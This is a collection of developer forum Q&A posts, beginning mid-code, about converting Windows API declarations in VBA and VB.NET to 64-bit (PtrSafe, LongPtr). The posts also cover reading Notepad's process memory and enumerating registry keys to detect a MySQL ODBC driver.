ret = CloseHandle(proc.hProcess) ' TEST proc.hProcess is LongPtr
End Sub
This VBA program worked for 32-bit PPT 2007 but when I used it for 64-bit PPT 2013, there was an error even when I added PtrSafe infront of Public Declare.
There was a type miss match in this function: AddressOf BrowseCallbackProc
(in the middle of Public Function Get_IMGFolderName())
I would like some advice on how to solve this problem.
I have been coding as a hobby so I do not know much.
Thankyou
Option Explicit
Public Declare PtrSafe Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare PtrSafe Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Public Declare PtrSafe Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long
Public Declare PtrSafe Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Public Type BrowseInfo
hwndOwner As Long
pIDLRoot As Long
pszDisplayName As Long
lpszstrMsg As Long
ulFlags As Long
lpfnCallback As Long
lParam As Long
iImage As Long
End Type
Public Const BIF_STATUSTEXT = &H4&
Public Const BIF_RETURNONLYFSDIRS = 1
Public Const BIF_DONTGOBELOWDOMAIN = 2
Public Const MAX_PATH = 260
Public Const WM_USER = &H400
Public Const BFFM_INITIALIZED = 1
Public Const BFFM_SELCHANGED = 2
Public Const BFFM_SETSTATUSTEXT = (WM_USER + 100)
Public Const BFFM_SETSELECTION = (WM_USER + 102)
Public strCurDir As String '현재 디렉토리
Public Enum CHOOSE_COLOR_FLAGS
CC_RGBINIT = &H1&
CC_FULLOPEN = &H2&
CC_PREVENTFULLOPEN = &H4&
CC_SHOWHELP = &H8&
CC_ENABLEHOOK = &H10&
CC_ENABLETEMPLATE = &H20&
CC_ENABLETEMPLATEHANDLE = &H40&
CC_SOLIDCOLOR = &H80&
CC_ANYCOLOR = &H100&
End Enum
Private Type CHOOSECOLOR
lStructSize As Long
hwndOwner As Long
hInstance As Long
rgbResult As Long
lpCustColors As Long
flags As CHOOSE_COLOR_FLAGS
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Private Declare PtrSafe Function ChooseColor_API Lib "comdlg32.dll" Alias "ChooseColorA" (lpChoosecolor As CHOOSECOLOR) As Long
Function Delete_Sheets()
'ActiveWindow.View.GotoSlide ActivePresentation.Slides.Count
While ActivePresentation.Slides.Count > 0
ActiveWindow.Selection.SlideRange.Delete
Wend
End Function
Public Function Get_IMGFolderName() As String
Dim lpIDList As Long
Dim szstrMsg As String
Dim strBuffer As String
Dim tBrowseInfo As BrowseInfo
Dim strDir As String
strCurDir = frmBible.lblIMGFolder.Caption & vbNullChar
szstrMsg = "바탕그림용 이미지가 들어 있는 폴더를 지정해주세요"
With tBrowseInfo
.hwndOwner = 0
.lpszstrMsg = lstrcat(szstrMsg, "")
.ulFlags = BIF_RETURNONLYFSDIRS + BIF_DONTGOBELOWDOMAIN + BIF_STATUSTEXT
.lpfnCallback = GetAddressofFunction(AddressOf BrowseCallbackProc) 'get address of function.
End With
lpIDList = SHBrowseForFolder(tBrowseInfo)
If (lpIDList) Then
strBuffer = Space(MAX_PATH)
SHGetPathFromIDList lpIDList, strBuffer
strBuffer = Left(strBuffer, InStr(strBuffer, vbNullChar) - 1)
Get_IMGFolderName = strBuffer
Else
Get_IMGFolderName = ""
End If
End Function
Public Function Remove_Special_Chars(intxt) As String
Dim wkstr As String
Dim p As Integer, c, uc
wkstr = ""
While Len(intxt) > 0
c = Left(intxt, 1)
uc = UCase(c)
If c >= "가" And c <= "힝" Then
wkstr = wkstr & c
ElseIf uc >= "A" And uc <= "Z" Then
wkstr = wkstr & c
ElseIf uc >= "0" And uc <= "9" Then
wkstr = wkstr & c
End If
intxt = Mid(intxt, 2)
Wend
Remove_Special_Chars = wkstr
End Function
Public Function Return_PathName(full_Path As String)
'return path name only
Dim p As Integer, ps As Integer
ps = 1
p = 1
Do While p > 0
p = InStr(ps, full_Path, "\", vbBinaryCompare)
If p > 0 Then
ps = p + 1
End If
Loop
Return_PathName = Left(full_Path, ps - 1)
End Function
Public Function Return_FileName(full_Path As String)
' return file name only
Dim p As Integer, ps As Integer
ps = 1
p = 1
Do While p > 0
p = InStr(ps, full_Path, "\", vbBinaryCompare)
If p > 0 Then
ps = p + 1
End If
Loop
Return_FileName = Mid(full_Path, ps)
End Function
Public Function Return_FolderName(full_Path)
' return folder name only
Dim p As Integer
p = InStrRev(full_Path, "\", Len(full_Path) - 1)
Return_FolderName = Mid(full_Path, p + 1)
End Function
Public Function BrowseCallbackProc(ByVal hWnd As Long, ByVal uMsg As Long, ByVal lp As Long, ByVal pData As Long) As Long
Dim lpIDList As Long
Dim lngRet As Long
Dim strBuffer As String
On Error Resume Next
Select Case uMsg
Case BFFM_INITIALIZED
Call SendMessage(hWnd, BFFM_SETSELECTION, 1, strCurDir)
Case BFFM_SELCHANGED
strBuffer = Space(MAX_PATH)
lngRet = SHGetPathFromIDList(lp, strBuffer)
If lngRet = 1 Then
Call SendMessage(hWnd, BFFM_SETSTATUSTEXT, 0, strBuffer)
End If
End Select
On Error GoTo 0
BrowseCallbackProc = 0
End Function
Public Function GetAddressofFunction(lngAdd As Long) As Long
GetAddressofFunction = lngAdd
End Function
Public Function FileDateInfo(filespec)
Dim fs, f
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFile(filespec)
FileDateInfo = f.DateLastModified
End Function
Public Function WinRegistry_CommonGet()
Dim TmpName As String
Dim i As Integer
Dim x
Version_Release = GetSetting("BibleChoir", "LatestVal", "Version_Release", "vv.rr")
frmBible.lblIMGFolder.Caption = GetSetting("BibleChoir", "LatestVal", "IMGFolder", "없음")
'frmPicture.sldBright = GetSetting(appname:="BibleChoir", section:="LatestVal", key:="Bright", Default:=70)
frmBible.chkEachPage = GetSetting("BibleChoir", "LatestVal", "EachPage", False)
File2Open = frmBible.lblIMGFolder.Caption
If File2Open <> "없음" Then
On Error Resume Next
frmBible.ImgPreview.Picture = LoadPicture(File2Open)
End If
On Error GoTo 0
End Function
Public Function WinRegistry_CommonSave()
Dim i As Integer
SaveSetting "BibleChoir", "LatestVal", "Version_Release", Version_Release
SaveSetting "BibleChoir", "LatestVal", "IMGFolder", frmBible.lblIMGFolder.Caption
'SaveSetting "BibleChoir", "LatestVal", "Bright", frmPicture.sldBright
SaveSetting "BibleChoir", "LatestVal", "EachPage", frmBible.chkEachPage
End Function
You need to do more than just add the PtrSafe declaration. Some of your Long data types also need to be converted to LongPtr.
#If VBA7 Then
Public Declare PtrSafe Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As LongPtr, ByVal wMsg As Long, ByVal wParam As LongPtr, _
ByVal lParam As String) As LongPtr
Public Declare PtrSafe Function SHBrowseForFolder Lib "shell32" _
(lpbi As BrowseInfo) As LongPtr
Public Declare PtrSafe Function SHGetPathFromIDList Lib "shell32" _
(ByVal pidList As LongPtr, ByVal lpBuffer As String) As LongPtr
Public Declare PtrSafe Function lstrcat Lib "kernel32" Alias "lstrcatA" _
(ByVal lpString1 As String, ByVal lpString2 As String) As Long
#Else
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
ByVal lParam As String) As Long
Public Declare Function SHBrowseForFolder Lib "shell32" _
(lpbi As BrowseInfo) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32" _
(ByVal pidList As Long, ByVal lpBuffer As String) As Long
Public Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" _
(ByVal lpString1 As String, ByVal lpString2 As String) As Long
#End If
From Microsoft Docs:
Note Declare statements with the PtrSafe keyword is the recommended syntax. Declare statements that include PtrSafe work correctly in the VBA7 development environment on both 32-bit and 64-bit platforms only after all data types in the Declare statement (parameters and return values) that need to store 64-bit quantities are updated to use LongLong for 64-bit integrals or LongPtr for pointers and handles. To ensure backwards compatibility with VBA version 6 and earlier use the following construct:
#If VBA7 Then
Declare PtrSafe Sub...
#Else
Declare Sub...
#EndIf
When running in 64-bit versions of Office Declare statements must include the PtrSafe keyword. The PtrSafe keyword asserts that a Declare statement is safe to run in 64-bit development environments. Adding the PtrSafe keyword to a Declare statement only signifies the Declare statement explicitly targets 64-bits, all data types within the statement that need to store 64-bits (including return values and parameters) must still be modified to hold 64-bit quantities using either LongLong for 64-bit integrals or LongPtr for pointers and handles.
So i have the following code
Imports System.Diagnostics
Imports System.IO
Imports System.Runtime.InteropServices
Public Class Form1
<StructLayout(LayoutKind.Sequential)> _
Structure OSVERSIONINFO
Dim dwOSVersionInfoSize As Integer
Dim dwMajorVersion As Integer
Dim dwMinorVersion As Integer
Dim dwBuildNumber As Integer
Dim dwPlatformId As Integer
<MarshalAs(UnmanagedType.ByValTStr, SizeConst:=128), VBFixedString(128)> Dim szCSDVersion As String
End Structure
<StructLayout(LayoutKind.Sequential)> _
Structure MEMORY_BASIC_INFORMATION
Dim BaseAddress As Integer
Dim AllocationBase As Integer
Dim AllocationProtect As Integer
Dim RegionSize As Integer
Dim State As Integer
Dim Protect As Integer
Dim lType As Integer
End Structure
<StructLayout(LayoutKind.Sequential)> _
Structure SYSTEM_INFO ' 36 Bytes
Dim dwOemID As Integer
Dim dwPageSize As Integer
Dim lpMinimumApplicationAddress As Integer
Dim lpMaximumApplicationAddress As Integer
Dim dwActiveProcessorMask As Integer
Dim dwNumberOrfProcessors As Integer
Dim dwProcessorType As Integer
Dim dwAllocationGranularity As Integer
Dim wProcessorLevel As Short
Dim wProcessorRevision As Short
End Structure
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (ByRef LpVersionInformation As OSVERSIONINFO) As Integer
Private Declare Function VirtualQueryEx Lib "kernel32.dll" (ByVal hProcess As IntPtr, ByVal lpAddress As UInteger, ByRef lpBuffer As MEMORY_BASIC_INFORMATION, ByVal dwLength As Integer) As Integer
Private Declare Sub GetSystemInfo Lib "kernel32" (ByRef lpSystemInfo As SYSTEM_INFO)
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Integer, ByVal blnheritHandle As Integer, ByVal dwAppProcessId As Integer) As Integer
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Integer) As Integer
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Integer, ByRef lpBaseAddress As Integer, ByRef lpBuffer As Long, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Integer, ByRef lpBaseAddress As Integer, ByRef lpBuffer As String, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Integer, ByRef lpdwProcessId As Integer) As Integer
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As Integer, ByVal lpWindowName As Integer) As Integer
Private Declare Function GetParent Lib "user32" (ByVal hWnd As Integer) As Integer
Private Declare Function GetWindow Lib "user32" (ByVal hWnd As Integer, ByVal wCmd As Integer) As Integer
Private Const PROCESS_VM_READ = (&H10)
Private Const PROCESS_VM_OPERATION = (&H8)
Private Const PROCESS_QUERY_INFORMATION = (&H400)
Public Const PROCESS_READ_WRITE_QUERY = PROCESS_VM_READ + PROCESS_VM_OPERATION + PROCESS_QUERY_INFORMATION
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim pid As Integer, hProcess As Integer
Dim lpMem As Integer, ret As DialogResult, lLenMBI As Integer
Dim lWritten As Integer
Dim sBuffer As String
Dim sSearchString As String = "", sReplaceString As String = ""
Dim si As SYSTEM_INFO
Dim mbi As MEMORY_BASIC_INFORMATION
For Each p As Process In Process.GetProcesses
If p.ProcessName = "notepad" Then
pid = p.Id
End If
Next
hProcess = OpenProcess(PROCESS_READ_WRITE_QUERY, False, pid)
lLenMBI = Len(mbi)
'Determine applications memory addresses range
GetSystemInfo(si)
lpMem = si.lpMinimumApplicationAddress
Do While lpMem < si.lpMaximumApplicationAddress
mbi.RegionSize = 0
ret = VirtualQueryEx(hProcess, lpMem, mbi, lLenMBI)
If ret = lLenMBI Then
If ((mbi.lType = &H20000) And (mbi.State = &H1000)) Then
If mbi.RegionSize > 0 Then
Dim stringinmemory As Long
sBuffer = mbi.RegionSize
ReadProcessMemory(hProcess, mbi.BaseAddress, stringinmemory, mbi.RegionSize, lWritten)
Debug.WriteLine(sBuffer)
End If
End If
lpMem = mbi.BaseAddress + mbi.RegionSize
Else
Exit Do
End If
Loop
CloseHandle(hProcess)
End Sub
End Class
And it should read all notepad memory (step by step like). I get no errors when i run it , but it returns
4096
4096
4096
8192
90112
4096
344064
131072
8192
45056
172032
4096
155648
4096
This code works well in VB6, but i converted it to VB.NET.
What am I doing wrong ? Can you help me please ?
Thanks in advance.
Nicu
You are printing the value of sBuffer which is an integer which explains the results you are seeing. Besides, sBuffer does not contain the data which is read from memory. I think your lpBuffer parameter (and also stringinmemory as well) should not be a Long but instead be an Byte array. Something like this:
Const PROCESS_WM_READ As Integer = &H10
<DllImport("kernel32.dll")> _
Public Shared Function OpenProcess(dwDesiredAccess As Integer, bInheritHandle As Boolean, dwProcessId As Integer) As IntPtr
End Function
<DllImport("kernel32.dll")> _
Public Shared Function ReadProcessMemory(hProcess As Integer, lpBaseAddress As Integer, lpBuffer As Byte(), dwSize As Integer, ByRef lpNumberOfBytesRead As Integer) As Boolean
End Function
Public Shared Sub Main()
Dim notepadProcess As Process = Process.GetProcessesByName("notepad")(0)
Dim processHandle As IntPtr = OpenProcess(PROCESS_WM_READ, False, notepadProcess.Id)
Dim bytesRead As Integer = 0
Dim buffer As Byte() = New Byte(23) {}
'The address in this line is hard-coded. Use whatever is appropriate for your situation.
ReadProcessMemory(CInt(processHandle), &H36B9D0, buffer, buffer.Length, bytesRead)
Console.WriteLine(Encoding.Unicode.GetString(buffer))
Console.ReadLine()
End Sub
I've looked at various solutions for this to no avail. I posted this on another site, but no-one came up with the answer.
The main objective is to see if MySQL ODBC driver has been installed. I've been doing this by enumerating through the registry using RegOpenKeyEx. No problem using 32 bit Office on 64 Bit Windows.
But won't work on 64Bit Office on 64bit Windows.
The code below shows the many things I tried. When testing on 32 bit office, only the line with KEY_ALL_ACCESS works. Otherwise, none of the other lines work for either 32 or 64 bit.
And yes, on my 64Bit Office machine, the item ("MySQL ODBC 5.2 ANSI Driver") is in the registry located at: "HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBCINST.INI"
Any ideas?
#If VBA7 Then
Declare PtrSafe Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" ( _
ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpName As String, _
ByVal cbName As Long) As Long
Declare PtrSafe Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" ( _
ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpName As String, _
lpcbName As Long, lpReserved As Long, ByVal lpClass As String, _
lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Declare PtrSafe Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" ( _
ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, _
lpcbValueName As Long, lpReserved As Long, lpType As Long, _
lpData As Byte, lpcbData As Long) As Long
#else
Declare Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" ( _
ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpName As String, _
ByVal cbName As Long) As Long
Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" ( _
ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpName As String, _
lpcbName As Long, lpReserved As Long, ByVal lpClass As String, _
lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" ( _
ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, _
lpcbValueName As Long, lpReserved As Long, lpType As Long, _
lpData As Byte, lpcbData As Long) As Long
#End If
Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Function CheckForMySQlDriverInstallTest() As Boolean
'*********BEGIN CODE HERE ********
Dim strKeyPath As String, key As String
Dim i As Long, lrc As Long
Dim hkey As Long, lRetval As Long
'Various key constants
Const KEY_ALL_ACCESS = &H3F
Const KEY_WOW64_64KEY As Long = &H100& '32 bit app to access 64 bit hive
Const KEY_WOW64_32KEY As Long = &H200& '64 bit app to access 32 bit hive
Const KEY_QUERY_VALUE = &H1
strKeyPath = "SOFTWARE\ODBC\ODBCINST.INI"
hkey = 0
'The line below works for 32bit office with the
' value of strKeyPath = "SOFTWARE\Wow6432Node\ODBC\ODBCINST.INI"
lRetval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, strKeyPath, 0, KEY_ALL_ACCESS, hkey)
'None of these work for 32 or 64 Office regardless of the strKeyPath used
'lRetval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, strKeyPath, 0, KEY_WOW64_64KEY, hkey)
'lRetval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, strKeyPath, 0, KEY_WOW64_32KEY, hkey)
'lRetval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, strKeyPath, 0, KEY_QUERY_VALUE, hkey)
If (lRetval = 0) Then
lrc = 0
i = 0
'Request all keys
While lrc = 0
lrc = EnumKey(hkey, i, key)
Debug.Print key
'If the version is found, set function to TRUE and exit
If InStr(1, key, "MySQL ODBC 5.2 ANSI Driver") > 0 Then
Exit Function
End If
If (lrc = 0) Then
i = i + 1
End If
Wend
End If
If (hkey <> 0) Then
RegCloseKey hkey
End If
End Function
Public Function EnumKey(ByVal hkey As Long, ByVal index As Long, ByRef key As String) As Long
Dim cch As Long
Dim lrc As Long
Dim ltype As Long
Dim lValue As Long
Dim szKeyName As String
cch = 260
szKeyName = String$(cch, 0)
lrc = RegEnumKey(hkey, index, szKeyName, cch)
If (lrc = 0) Then
key = Left$(szKeyName, InStr(szKeyName, Chr$(0)) - 1)
End If
EnumKey = lrc
End Function
Your pointer sized integers are all the wrong size under 64 bit. You have used Long, which is a 32 bit data type, but you need to use LongPtr, which is the same size as a pointer. From the documentation:
LongPtr (Long integer on 32-bit systems, LongLong integer on 64-bit systems) variables are stored as signed 32-bit (4-byte) numbers ranging in value from -2,147,483,648 to 2,147,483,647 on 32-bit systems; and signed 64-bit (8-byte) numbers ranging in value from -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807 on 64-bit systems.
So, all the HKEY parameters, and all the pointers, need to be declared as LongPtr.
You really should not be using KEY_ALL_ACCESS. That won't succeed unless you are running elevated, and there's not need to elevate just to read out of HKLM. You need to combine the flags using bitwise or. You need to us
KEY_READ Or KEY_WOW64_64KEY
or
KEY_READ Or KEY_WOW64_32KEY
To wrap this up I've altered John original code so that it works on both 32bit and 64bit systems regarding 32bit and 64bit Office systems.
Since code sample formatting has issues with '#' replace '~!' by '#'.
Const HKEY_LOCAL_MACHINE = &H80000002
Const PROCESSOR_ARCHITECTURE_AMD64 = 9
~!If VBA7 Then
Declare PtrSafe Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
(ByVal hKey As LongPtr, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As LongPtr) As Long
Declare PtrSafe Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As LongPtr) As Long
Declare PtrSafe Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" ( _
ByVal hKey As LongPtr, ByVal dwIndex As Long, ByVal lpName As String, _
ByVal cbName As Long) As Long
Declare PtrSafe Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" ( _
ByVal hKey As LongPtr, ByVal dwIndex As Long, ByVal lpName As String, _
lpcbName As Long, lpReserved As Long, ByVal lpClass As String, _
lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Declare PtrSafe Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" ( _
ByVal hKey As LongPtr, ByVal dwIndex As Long, ByVal lpValueName As String, _
lpcbValueName As Long, lpReserved As Long, lpType As Long, _
lpData As Byte, lpcbData As Long) As Long
Type SYSTEM_INFO
wProcessorArchitecture As Integer
wReserved As Integer
dwPageSize As Long
lpMinimumApplicationAddress As LongPtr
lpMaximumApplicationAddress As LongPtr
dwActiveProcessorMask As LongPtr
dwNumberOrfProcessors As Long
dwProcessorType As Long
dwAllocationGranularity As Long
wProcessorLevel As Integer
wProcessorRevision As Integer
End Type
Declare PtrSafe Sub GetSystemInfo Lib "kernel32" (lpSystemInfo As SYSTEM_INFO)
Declare PtrSafe Function GetCurrentProcess Lib "kernel32" () As LongPtr
Declare PtrSafe Function IsWow64Process Lib "kernel32" ( _
ByVal hProcess As LongPtr, _
ByRef Wow64Process As Boolean) As Boolean
~!Else
Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" _
(ByVal lKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32" (ByVal lKey As Long) As Long
Declare Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" ( _
ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, _
ByVal cbName As Long) As Long
Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" ( _
ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, _
lpcbName As Long, lpReserved As Long, ByVal lpClass As String, _
lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" ( _
ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, _
lpcbValueName As Long, lpReserved As Long, lpType As Long, _
lpData As Byte, lpcbData As Long) As Long
Type SYSTEM_INFO
wProcessorArchitecture As Integer
wReserved As Integer
dwPageSize As Long
lpMinimumApplicationAddress As Long
lpMaximumApplicationAddress As Long
dwActiveProcessorMask As Long
dwNumberOrfProcessors As Long
dwProcessorType As Long
dwAllocationGranularity As Long
dwReserved As Long
End Type
Declare Sub GetSystemInfo Lib "kernel32" (lpSystemInfo As SYSTEM_INFO)
Declare Function GetCurrentProcess Lib "kernel32" () As Long
Declare Function IsWow64Process Lib "kernel32" ( _
ByVal hProcess As Long, _
ByRef Wow64Process As Boolean) As Boolean
~!End If
Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Function CheckForMySQlDriverInstallTest() As Boolean
'*********BEGIN CODE HERE ********
Dim sKeyPath As String
Dim sKey As String
Dim i As Long
Dim lrc As Long
Dim lRetval As Long
~!If VBA7 Then
Dim hKey As LongPtr
~!Else
Dim hKey As Long
~!End If
'Various sKey constants
Const KEY_ALL_ACCESS = &H3F
Const KEY_WOW64_64KEY As Long = &H100& '32 bit app to access 64 bit hive
Const KEY_WOW64_32KEY As Long = &H200& '64 bit app to access 32 bit hive
Const KEY_QUERY_VALUE = &H1
~!If Win64 Then
'32 or 64 Office?
If IsOffice64Bit Then
sKeyPath = "SOFTWARE\ODBC\ODBCINST.INI"
Else
sKeyPath = "SOFTWARE\Wow6432Node\ODBC\ODBCINST.INI"
End If
~!Else
sKeyPath = "SOFTWARE\ODBC\ODBCINST.INI"
~!End If
lRetval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sKeyPath, 0, KEY_ALL_ACCESS, hKey)
'None of these work for 32 or 64 Office regardless of the sKeyPath used
'lRetval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sKeyPath, 0, KEY_WOW64_64KEY, hkey)
'lRetval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sKeyPath, 0, KEY_WOW64_32KEY, hkey)
'lRetval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sKeyPath, 0, KEY_QUERY_VALUE, hkey)
If (lRetval = 0) Then
lrc = 0
i = 0
'Request all keys
While lrc = 0
lrc = EnumKey(hKey, i, sKey)
Debug.Print sKey
'If the version is found, set function to TRUE and exit
If InStr(1, sKey, "MySQL ODBC 5.2 ANSI Driver") > 0 Then
Exit Function
End If
If (lrc = 0) Then
i = i + 1
End If
Wend
End If
If (hKey <> 0) Then
RegCloseKey hKey
End If
End Function
~!If VBA7 Then
Function EnumKey(ByVal hKey As LongPtr, ByVal index As Long, ByRef key As String) As Long
~!Else
Function EnumKey(ByVal hKey As Long, ByVal index As Long, ByRef key As String) As Long
~!End If
Dim lcch As Long
Dim lrc As Long
Dim ltype As Long
Dim lValue As Long
Dim szKeyName As String
lcch = 260
szKeyName = String$(lcch, 0)
lrc = RegEnumKey(hKey, index, szKeyName, lcch)
If (lrc = 0) Then
key = Left$(szKeyName, InStr(szKeyName, Chr$(0)) - 1)
End If
EnumKey = lrc
End Function
Function IsOffice64Bit() As Boolean
Dim lpSystemInfo As SYSTEM_INFO
Call GetSystemInfo(lpSystemInfo)
If lpSystemInfo.wProcessorArchitecture = PROCESSOR_ARCHITECTURE_AMD64 Then
Call IsWow64Process(GetCurrentProcess(), IsOffice64Bit)
IsOffice64Bit = Not IsOffice64Bit
End If
End Function